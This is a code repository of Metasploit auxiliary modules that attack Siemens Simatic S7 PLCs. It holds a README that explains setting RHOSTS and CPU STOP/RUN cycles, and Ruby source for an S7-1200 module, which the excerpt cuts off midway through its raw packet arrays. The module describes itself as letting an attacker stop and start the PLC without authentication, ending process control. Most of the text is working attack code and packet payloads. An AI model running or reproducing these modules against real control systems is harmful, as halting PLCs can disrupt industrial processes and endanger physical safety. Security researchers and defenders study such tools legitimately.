├── .gitignore ├── README.md ├── simatic_s7_1200_command.rb ├── simatic_s7_300_command.rb └── simatic_s7_300_memory_view.rb /.gitignore: -------------------------------------------------------------------------------- 1 | *.gem 2 | *.rbc 3 | .bundle 4 | .config 5 | coverage 6 | InstalledFiles 7 | lib/bundler/man 8 | pkg 9 | rdoc 10 | spec/reports 11 | test/tmp 12 | test/version_tmp 13 | tmp 14 | 15 | # YARD artifacts 16 | .yardoc 17 | _yardoc 18 | doc/ 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | s7-metasploit-modules 2 | ===================== 3 | 4 | Siemens Simatic S7 Metasploit Modules 5 | 6 | The Siemens Simatic S7 modules are fairly straightforward. Set the the IP address(s) in RHOSTS 7 | and the cycle to the number of times you would like to start and stop the CPU. 8 | 9 | For example, if you only want to stop and start the CPU once use this command in metasploit. 10 | 11 | set CYCLES 1 12 | 13 | msf auxiliary(simatic_s7_300_command) > show options 14 | 15 | Module options (auxiliary/admin/scada/simatic_s7_300_command): 16 | 17 | Name Current Setting Required Description 18 | ---- --------------- -------- ----------- 19 | CYCLES 10 yes Set the amount of CPU STOP/RUN cycles. 20 | MODE false no Set true to put the CPU back into RUN mode. 21 | RHOSTS yes The target address range or CIDR identifier 22 | RPORT 102 yes The target port 23 | THREADS 1 yes The number of concurrent threads 24 | 25 | msf auxiliary(simatic_s7_300_command) > set CYCLES 1 26 | CYCLES => 1 27 | msf auxiliary(simatic_s7_300_command) > show options 28 | 29 | Module options (auxiliary/admin/scada/simatic_s7_300_command): 30 | 31 | Name Current Setting Required Description 32 | ---- --------------- -------- ----------- 33 | CYCLES 1 yes Set the amount of CPU STOP/RUN cycles. 34 | MODE false no Set true to put the CPU back into RUN mode. 35 | RHOSTS yes The target address range or CIDR identifier 36 | RPORT 102 yes The target port 37 | THREADS 1 yes The number of concurrent threads 38 | 39 | I'm currently in the process of updating the repo and adding other modules. Please test 40 | on different S7-300 models and let me know which ones are supported so I can add a list. 41 | 42 | -Dillon 43 | 44 | Please report any issues to dillon.beresford@gmail.com 45 | 46 | -------------------------------------------------------------------------------- /simatic_s7_1200_command.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | class Metasploit3 < Msf::Auxiliary 4 | 5 | include Msf::Exploit::Remote::Tcp 6 | include Rex::Socket::Tcp 7 | include Msf::Auxiliary::Scanner 8 | 9 | def initialize(info = {}) 10 | super(update_info(info, 11 | 'Name'=> 'Siemens Simatic S7-1200 CPU START/STOP Module', 12 | 'Description' => %q{ 13 | The Siemens Simatic S7-1200 S7 CPU start and stop functions over ISO-TSAP 14 | this modules allows an attacker to perform administrative commands without authentication. 15 | This module allows a remote user to change the state of the PLC between 16 | STOP and START, allowing an attacker to end process control by the PLC. 17 | }, 18 | 'Author' => 'Dillon Beresford', 19 | 'License' => MSF_LICENSE, 20 | 'References' => 21 | [ 22 | [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ], 23 | [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ], 24 | ], 25 | 'Version' => '$Revision$', 26 | 'DisclosureDate' => 'May 09 2011' 27 | )) 28 | 29 | register_options( 30 | [ 31 | Opt::RPORT(102), 32 | OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]), 33 | OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10]) 34 | ], self.class) 35 | end 36 | 37 | def run_host(ip) 38 | begin 39 | 40 | cpu = datastore['MODE'] || '' 41 | cycles = datastore['CYCLES'] || '' 42 | 43 | stop_cpu_pkt = [ 44 | 45 | "\x03\x00\x00\x16\x11\xe0\x00\x00"+ 46 | "\x00\x3a\x00\xc1\x02\x06\x00\xc2"+ 47 | "\x02\x06\x00\xc0\x01\x0a", 48 | 49 | "\x03\x00\x00\xad\x02\xf0\x80\x72"+ 50 | "\x01\x00\x9e\x31\x00\x00\x04\xca"+ 51 | "\x00\x00\x00\x01\x00\x00\x01\x20"+ 52 | "\x30\x00\x00\x01\x1d\x00\x04\x00"+ 53 | "\x00\x00\x00\x00\xa1\x00\x00\x00"+ 54 | "\xd3\x82\x1f\x00\x00\xa3\x81\x69"+ 55 | "\x00\x15\x16\x53\x65\x72\x76\x65"+ 56 | "\x72\x53\x65\x73\x73\x69\x6f\x6e"+ 57 | "\x5f\x38\x43\x33\x32\x38\x46\x37"+ 58 | "\x32\xa3\x82\x21\x00\x15\x00\xa3"+ 59 | "\x82\x28\x00\x15\x00\xa3\x82\x29"+ 60 | "\x00\x15\x00\xa3\x82\x2a\x00\x15"+ 61 | "\x09\x50\x4c\x43\x54\x45\x53\x54"+ 62 | "\x45\x52\xa3\x82\x2b\x00\x04\x01"+ 63 | "\xa3\x82\x2c\x00\x12\x01\xc9\xc3"+ 64 | "\x80\xa3\x82\x2d\x00\x15\x00\xa1"+ 65 | "\x00\x00\x00\xd3\x81\x7f\x00\x00"+ 66 | "\xa3\x81\x69\x00\x15\x15\x53\x75"+ 67 | "\x62\x73\x63\x72\x69\x70\x74\x69"+ 68 | "\x6f\x6e\x43\x6f\x6e\x74\x61\x69"+ 69 | "\x6e\x65\x72\xa2\xa2\x00\x00\x00"+ 70 | "\x00\x72\x01\x00\x00", 71 | 72 | "\x03\x00\x00\x07\x02\xf0\x00", 73 | 74 | "\x03\x00\x00\x40\x02\xf0\x80\x72"+ 75 | "\x01\x00\x31\x31\x00\x00\x04\xfc"+ 76 | "\x00\x00\x00\x02\x00\x00\x03\x84"+ 77 | "\x30\x00\x00\x00\x32\x01\x9a\x7b"+ 78 | "\x00\x00\x04\xe8\x89\x69\x00\x12"+ 79 | "\x00\x00\x00\x00\x89\x6a\x00\x13"+ 80 | "\x00\x89\x6b\x00\x04\x00\x00\x00"+ 81 | "\x00\x00\x00\x00\x72\x01\x00\x00", 82 | 83 | "\x03\x00\x00\x07\x02\xf0\x00", 84 | 85 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 86 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 87 | "\x00\x00\x00\x03\x00\x00\x03\x84"+ 88 | "\x30\x00\x00\x00\x20\x91\x5e\x00"+ 89 | "\x00\x00\x00\x72\x01\x00\x00", 90 | 91 | "\x03\x00\x00\x07\x02\xf0\x00", 92 | 93 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 94 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 95 | "\x00\x00\x00\x04\x00\x00\x03\x84"+ 96 | "\x30\x00\x00\x00\x31\x91\x5e\x00"+ 97 | "\x00\x00\x00\x72\x01\x00\x00", 98 | 99 | "\x03\x00\x00\x07\x02\xf0\x00", 100 | 101 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 102 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 103 | "\x00\x00\x00\x05\x00\x00\x03\x84"+ 104 | "\x30\x00\x00\x00\x32\x91\x5e\x00"+ 105 | "\x00\x00\x00\x72\x01\x00\x00", 106 | 107 | "\x03\x00\x00\x07\x02\xf0\x00", 108 | 109 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 110 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 111 | "\x00\x00\x00\x06\x00\x00\x03\x84"+ 112 | "\x30\x00\x00\x00\x33\x91\x5e\x00"+ 113 | "\x00\x00\x00\x72\x01\x00\x00", 114 | 115 | "\x03\x00\x00\x07\x02\xf0\x00", 116 | 117 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 118 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 119 | "\x00\x00\x00\x07\x00\x00\x03\x84"+ 120 | "\x30\x00\x00\x00\x34\x91\x5e\x00"+ 121 | "\x00\x00\x00\x72\x01\x00\x00", 122 | 123 | "\x03\x00\x00\x07\x02\xf0\x00", 124 | 125 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 126 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 127 | "\x00\x00\x00\x08\x00\x00\x03\x84"+ 128 | "\x30\x00\x00\x00\x40\x91\x5e\x00"+ 129 | "\x00\x00\x00\x72\x01\x00\x00", 130 | 131 | "\x03\x00\x00\x07\x02\xf0\x00", 132 | 133 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 134 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 135 | "\x00\x00\x00\x09\x00\x00\x03\x84"+ 136 | "\x30\x88\xe1\x00\x08\x91\x5e\x00"+ 137 | "\x00\x00\x00\x72\x01\x00\x00", 138 | 139 | "\x03\x00\x00\x07\x02\xf0\x00", 140 | 141 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 142 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 143 | "\x00\x00\x00\x0a\x00\x00\x03\x84"+ 144 | "\x30\x88\xe1\x00\x07\x91\x5e\x00"+ 145 | "\x00\x00\x00\x72\x01\x00\x00", 146 | 147 | "\x03\x00\x00\x07\x02\xf0\x00", 148 | 149 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 150 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 151 | "\x00\x00\x00\x0b\x00\x00\x03\x84"+ 152 | "\x30\x00\x00\x00\x21\x91\x5e\x00"+ 153 | "\x00\x00\x00\x72\x01\x00\x00", 154 | 155 | "\x03\x00\x00\x07\x02\xf0\x00", 156 | 157 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 158 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 159 | "\x00\x00\x00\x0c\x00\x00\x03\x84"+ 160 | "\x30\x00\x00\x00\x41\x91\x5e\x00"+ 161 | "\x00\x00\x00\x72\x01\x00\x00", 162 | 163 | "\x03\x00\x00\x07\x02\xf0\x00", 164 | 165 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 166 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 167 | "\x00\x00\x00\x0d\x00\x00\x03\x84"+ 168 | "\x30\x00\x00\x00\x20\x04\x04\x91"+ 169 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 170 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 171 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 172 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 173 | "\x00\x00\x72\x01\x00\x00", 174 | 175 | "\x03\x00\x00\x07\x02\xf0\x00", 176 | 177 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 178 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 179 | "\x00\x00\x00\x0e\x00\x00\x03\x84"+ 180 | "\x30\x00\x00\x00\x31\x04\x04\x91"+ 181 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 182 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 183 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 184 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 185 | "\x00\x00\x72\x01\x00\x00", 186 | 187 | "\x03\x00\x00\x07\x02\xf0\x00", 188 | 189 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 190 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 191 | "\x00\x00\x00\x0f\x00\x00\x03\x84"+ 192 | "\x30\x00\x00\x00\x32\x04\x04\x91"+ 193 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 194 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 195 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 196 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 197 | "\x00\x00\x72\x01\x00\x00", 198 | 199 | "\x03\x00\x00\x07\x02\xf0\x00", 200 | 201 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 202 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 203 | "\x00\x00\x00\x10\x00\x00\x03\x84"+ 204 | "\x30\x00\x00\x00\x33\x04\x04\x91"+ 205 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 206 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 207 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 208 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 209 | "\x00\x00\x72\x01\x00\x00", 210 | 211 | "\x03\x00\x00\x07\x02\xf0\x00", 212 | 213 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 214 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 215 | "\x00\x00\x00\x11\x00\x00\x03\x84"+ 216 | "\x30\x00\x00\x00\x34\x04\x04\x91"+ 217 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 218 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 219 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 220 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 221 | "\x00\x00\x72\x01\x00\x00", 222 | 223 | "\x03\x00\x00\x07\x02\xf0\x00", 224 | 225 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 226 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 227 | "\x00\x00\x00\x12\x00\x00\x03\x84"+ 228 | "\x30\x00\x00\x00\x40\x04\x04\x91"+ 229 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 230 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 231 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 232 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 233 | "\x00\x00\x72\x01\x00\x00", 234 | 235 | "\x03\x00\x00\x07\x02\xf0\x00", 236 | 237 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 238 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 239 | "\x00\x00\x00\x13\x00\x00\x03\x84"+ 240 | "\x30\x88\xe1\x00\x08\x04\x04\x91"+ 241 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 242 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 243 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 244 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 245 | "\x00\x00\x72\x01\x00\x00", 246 | 247 | "\x03\x00\x00\x07\x02\xf0\x00", 248 | 249 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 250 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 251 | "\x00\x00\x00\x14\x00\x00\x03\x84"+ 252 | "\x30\x88\xe1\x00\x07\x04\x04\x91"+ 253 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 254 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 255 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 256 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 257 | "\x00\x00\x72\x01\x00\x00", 258 | 259 | "\x03\x00\x00\x07\x02\xf0\x00", 260 | 261 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 262 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 263 | "\x00\x00\x00\x15\x00\x00\x03\x84"+ 264 | "\x30\x00\x00\x00\x21\x04\x04\x91"+ 265 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 266 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 267 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 268 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 269 | "\x00\x00\x72\x01\x00\x00", 270 | 271 | "\x03\x00\x00\x07\x02\xf0\x00", 272 | 273 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 274 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 275 | "\x00\x00\x00\x16\x00\x00\x03\x84"+ 276 | "\x30\x00\x00\x00\x41\x04\x04\x91"+ 277 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 278 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 279 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 280 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 281 | "\x00\x00\x72\x01\x00\x00", 282 | 283 | "\x03\x00\x00\x07\x02\xf0\x00", 284 | 285 | "\x03\x00\x00\x2b\x02\xf0\x80\x72"+ 286 | "\x01\x00\x1c\x31\x00\x00\x04\xbb"+ 287 | "\x00\x00\x00\x17\x00\x00\x03\x84"+ 288 | "\x30\x00\x00\x00\x08\x00\x00\x01"+ 289 | "\x01\x00\x00\x00\x00\x00\x00\x72"+ 290 | "\x01\x00\x00", 291 | 292 | "\x03\x00\x00\x07\x02\xf0\x00", 293 | 294 | "\x03\x00\x00\xa3\x02\xf0\x80\x72"+ 295 | "\x01\x00\x94\x31\x00\x00\x04\xca"+ 296 | "\x00\x00\x00\x18\x00\x00\x03\x84"+ 297 | "\x30\x00\x00\x03\x85\x00\x04\x00"+ 298 | "\x00\x00\x00\x00\xa1\x4e\x00\x00"+ 299 | "\x00\x87\x69\x00\x00\xa3\x81\x69"+ 300 | "\x00\x15\x17\x53\x75\x62\x73\x63"+ 301 | "\x72\x69\x70\x74\x69\x6f\x6e\x5f"+ 302 | "\x31\x33\x30\x38\x36\x32\x32\x38"+ 303 | "\x34\x38\xa3\x87\x6a\x00\x03\x00"+ 304 | "\x00\xa3\x87\x6b\x00\x09\x00\xa3"+ 305 | "\x88\x10\x00\x02\x02\xa3\x88\x11"+ 306 | "\x00\x01\x01\xa1\x4e\x00\x00\x02"+ 307 | "\x94\x66\x00\x00\xa3\x81\x69\x00"+ 308 | "\x15\x00\xa3\x87\x6d\x00\x02\x02"+ 309 | "\xa3\x94\x63\x10\x03\x0a\x00\x00"+ 310 | "\x00\x00\x00\x00\x00\x00\x00\x00"+ 311 | "\x00\x00\x00\x00\x00\x00\x00\x00"+ 312 | "\x00\x00\xa4\x94\x64\x00\x00\x00"+ 313 | "\x08\xa2\xa2\x00\x00\x00\x00\x72"+ 314 | "\x01\x00\x00", 315 | 316 | "\x03\x00\x00\x07\x02\xf0\x00", 317 | 318 | "\x03\x00\x00\x43\x02\xf0\x80\x72"+ 319 | "\x01\x00\x34\x31\x00\x00\x04\xf2"+ 320 | "\x00\x00\x00\x19\x00\x00\x03\x84"+ 321 | "\x30\x00\x00\x00\x34\x01\x90\x77"+ 322 | "\x00\x08\x01\x00\x00\x04\xe8\x89"+ 323 | "\x69\x00\x12\x00\x00\x00\x00\x89"+ 324 | "\x6a\x00\x13\x00\x89\x6b\x00\x04"+ 325 | "\x00\x00\x00\x00\x00\x00\x00\x72"+ 326 | "\x01\x00\x00", 327 | 328 | "\x03\x00\x00\x07\x02\xf0\x00", 329 | 330 | "\x03\x00\x00\x3d\x02\xf0\x80\x72"+ 331 | "\x01\x00\x2e\x31\x00\x00\x04\xd4"+ 332 | "\x00\x00\x00\x1a\x00\x00\x03\x84"+ 333 | "\x30\x4e\x00\x00\x00\x00\x00\x00"+ 334 | "\x04\xe8\x89\x69\x00\x12\x00\x00"+ 335 | "\x00\x00\x89\x6a\x00\x13\x00\x89"+ 336 | "\x6b\x00\x04\x00\x00\x00\x00\x00"+ 337 | "\x00\x72\x01\x00\x00", 338 | 339 | "\x03\x00\x00\x3d\x02\xf0\x80\x72"+ 340 | "\x01\x00\x2e\x31\x00\x00\x04\xd4"+ 341 | "\x00\x00\x00\x1b\x00\x00\x03\x84"+ 342 | "\x30\x00\x00\x03\x84\x00\x00\x00"+ 343 | "\x04\xe8\x89\x69\x00\x12\x00\x00"+ 344 | "\x00\x00\x89\x6a\x00\x13\x00\x89"+ 345 | "\x6b\x00\x04\x00\x00\x00\x00\x00"+ 346 | "\x00\x72\x01\x00\x00", 347 | 348 | "\x03\x00\x00\x07\x02\xf0\x00", 349 | 350 | "\x03\x00\x00\x07\x02\xf0\x00", 351 | 352 | "\x03\x00\x00\x07\x02\xf0\x00" 353 | ] 354 | 355 | start_cpu_pkt = [ 356 | 357 | "\x03\x00\x00\x16\x11\xe0\x00\x00"+ 358 | "\x00\x42\x00\xc1\x02\x06\x00\xc2"+ 359 | "\x02\x06\x00\xc0\x01\x0a", 360 | 361 | "\x03\x00\x00\xad\x02\xf0\x80\x72"+ 362 | "\x01\x00\x9e\x31\x00\x00\x04\xca"+ 363 | "\x00\x00\x00\x01\x00\x00\x01\x20"+ 364 | "\x30\x00\x00\x01\x1d\x00\x04\x00"+ 365 | "\x00\x00\x00\x00\xa1\x00\x00\x00"+ 366 | "\xd3\x82\x1f\x00\x00\xa3\x81\x69"+ 367 | "\x00\x15\x16\x53\x65\x72\x76\x65"+ 368 | "\x72\x53\x65\x73\x73\x69\x6f\x6e"+ 369 | "\x5f\x34\x46\x32\x44\x42\x37\x32"+ 370 | "\x44\xa3\x82\x21\x00\x15\x00\xa3"+ 371 | "\x82\x28\x00\x15\x00\xa3\x82\x29"+ 372 | "\x00\x15\x00\xa3\x82\x2a\x00\x15"+ 373 | "\x09\x50\x4c\x43\x54\x45\x53\x54"+ 374 | "\x45\x52\xa3\x82\x2b\x00\x04\x01"+ 375 | "\xa3\x82\x2c\x00\x12\x01\xc9\xc3"+ 376 | "\x80\xa3\x82\x2d\x00\x15\x00\xa1"+ 377 | "\x00\x00\x00\xd3\x81\x7f\x00\x00"+ 378 | "\xa3\x81\x69\x00\x15\x15\x53\x75"+ 379 | "\x62\x73\x63\x72\x69\x70\x74\x69"+ 380 | "\x6f\x6e\x43\x6f\x6e\x74\x61\x69"+ 381 | "\x6e\x65\x72\xa2\xa2\x00\x00\x00"+ 382 | "\x00\x72\x01\x00\x00", 383 | 384 | "\x03\x00\x00\x07\x02\xf0\x00", 385 | 386 | "\x03\x00\x00\x40\x02\xf0\x80\x72"+ 387 | "\x01\x00\x31\x31\x00\x00\x04\xfc"+ 388 | "\x00\x00\x00\x02\x00\x00\x03\x84"+ 389 | "\x30\x00\x00\x00\x32\x01\x9a\x7b"+ 390 | "\x00\x00\x04\xe8\x89\x69\x00\x12"+ 391 | "\x00\x00\x00\x00\x89\x6a\x00\x13"+ 392 | "\x00\x89\x6b\x00\x04\x00\x00\x00"+ 393 | "\x00\x00\x00\x00\x72\x01\x00\x00", 394 | 395 | "\x03\x00\x00\x07\x02\xf0\x00", 396 | 397 | "\x03\x00\x00\x40\x02\xf0\x80\x72"+ 398 | "\x01\x00\x31\x31\x00\x00\x04\xfc"+ 399 | "\x00\x00\x00\x03\x00\x00\x03\x84"+ 400 | "\x30\x00\x00\x00\x31\x01\x9d\x29"+ 401 | "\x00\x00\x04\xe8\x89\x69\x00\x12"+ 402 | "\x00\x00\x00\x00\x89\x6a\x00\x13"+ 403 | "\x00\x89\x6b\x00\x04\x00\x00\x00"+ 404 | "\x00\x00\x00\x00\x72\x01\x00\x00", 405 | 406 | "\x03\x00\x00\x07\x02\xf0\x00", 407 | 408 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 409 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 410 | "\x00\x00\x00\x04\x00\x00\x03\x84"+ 411 | "\x30\x00\x00\x00\x20\x91\x5e\x00"+ 412 | "\x00\x00\x00\x72\x01\x00\x00", 413 | 414 | "\x03\x00\x00\x07\x02\xf0\x00", 415 | 416 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 417 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 418 | "\x00\x00\x00\x05\x00\x00\x03\x84"+ 419 | "\x30\x00\x00\x00\x31\x91\x5e\x00"+ 420 | "\x00\x00\x00\x72\x01\x00\x00", 421 | 422 | "\x03\x00\x00\x07\x02\xf0\x00", 423 | 424 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 425 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 426 | "\x00\x00\x00\x06\x00\x00\x03\x84"+ 427 | "\x30\x00\x00\x00\x32\x91\x5e\x00"+ 428 | "\x00\x00\x00\x72\x01\x00\x00", 429 | 430 | "\x03\x00\x00\x07\x02\xf0\x00", 431 | 432 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 433 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 434 | "\x00\x00\x00\x07\x00\x00\x03\x84"+ 435 | "\x30\x00\x00\x00\x33\x91\x5e\x00"+ 436 | "\x00\x00\x00\x72\x01\x00\x00", 437 | 438 | "\x03\x00\x00\x07\x02\xf0\x00", 439 | 440 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 441 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 442 | "\x00\x00\x00\x08\x00\x00\x03\x84"+ 443 | "\x30\x00\x00\x00\x34\x91\x5e\x00"+ 444 | "\x00\x00\x00\x72\x01\x00\x00", 445 | 446 | "\x03\x00\x00\x07\x02\xf0\x00", 447 | 448 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 449 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 450 | "\x00\x00\x00\x09\x00\x00\x03\x84"+ 451 | "\x30\x00\x00\x00\x40\x91\x5e\x00"+ 452 | "\x00\x00\x00\x72\x01\x00\x00", 453 | 454 | "\x03\x00\x00\x07\x02\xf0\x00", 455 | 456 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 457 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 458 | "\x00\x00\x00\x0a\x00\x00\x03\x84"+ 459 | "\x30\x88\xe1\x00\x08\x91\x5e\x00"+ 460 | "\x00\x00\x00\x72\x01\x00\x00", 461 | 462 | "\x03\x00\x00\x07\x02\xf0\x00", 463 | 464 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 465 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 466 | "\x00\x00\x00\x0b\x00\x00\x03\x84"+ 467 | "\x30\x88\xe1\x00\x07\x91\x5e\x00"+ 468 | "\x00\x00\x00\x72\x01\x00\x00", 469 | 470 | "\x03\x00\x00\x07\x02\xf0\x00", 471 | 472 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 473 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 474 | "\x00\x00\x00\x0c\x00\x00\x03\x84"+ 475 | "\x30\x00\x00\x00\x21\x91\x5e\x00"+ 476 | "\x00\x00\x00\x72\x01\x00\x00", 477 | 478 | "\x03\x00\x00\x07\x02\xf0\x00", 479 | 480 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 481 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 482 | "\x00\x00\x00\x0d\x00\x00\x03\x84"+ 483 | "\x30\x00\x00\x00\x41\x91\x5e\x00"+ 484 | "\x00\x00\x00\x72\x01\x00\x00", 485 | 486 | "\x03\x00\x00\x07\x02\xf0\x00", 487 | 488 | "\x03\x00\x00\x27\x02\xf0\x80\x72"+ 489 | "\x01\x00\x18\x31\x00\x00\x05\x24"+ 490 | "\x00\x00\x00\x0d\x00\x00\x03\x84"+ 491 | "\x30\x00\x00\x00\x41\x91\x5e\x00"+ 492 | "\x00\x00\x00\x72\x01\x00\x00", 493 | 494 | "\x03\x00\x00\x07\x02\xf0\x00", 495 | 496 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 497 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 498 | "\x00\x00\x00\x0e\x00\x00\x03\x84"+ 499 | "\x30\x00\x00\x00\x20\x04\x04\x91"+ 500 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 501 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 502 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 503 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 504 | "\x00\x00\x72\x01\x00\x00", 505 | 506 | "\x03\x00\x00\x07\x02\xf0\x00", 507 | 508 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 509 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 510 | "\x00\x00\x00\x0f\x00\x00\x03\x84"+ 511 | "\x30\x00\x00\x00\x31\x04\x04\x91"+ 512 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 513 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 514 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 515 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 516 | "\x00\x00\x72\x01\x00\x00", 517 | 518 | "\x03\x00\x00\x07\x02\xf0\x00", 519 | 520 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 521 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 522 | "\x00\x00\x00\x10\x00\x00\x03\x84"+ 523 | "\x30\x00\x00\x00\x32\x04\x04\x91"+ 524 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 525 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 526 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 527 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 528 | "\x00\x00\x72\x01\x00\x00", 529 | 530 | "\x03\x00\x00\x07\x02\xf0\x00", 531 | 532 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 533 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 534 | "\x00\x00\x00\x11\x00\x00\x03\x84"+ 535 | "\x30\x00\x00\x00\x33\x04\x04\x91"+ 536 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 537 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 538 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 539 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 540 | "\x00\x00\x72\x01\x00\x00", 541 | 542 | "\x03\x00\x00\x07\x02\xf0\x00", 543 | 544 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 545 | 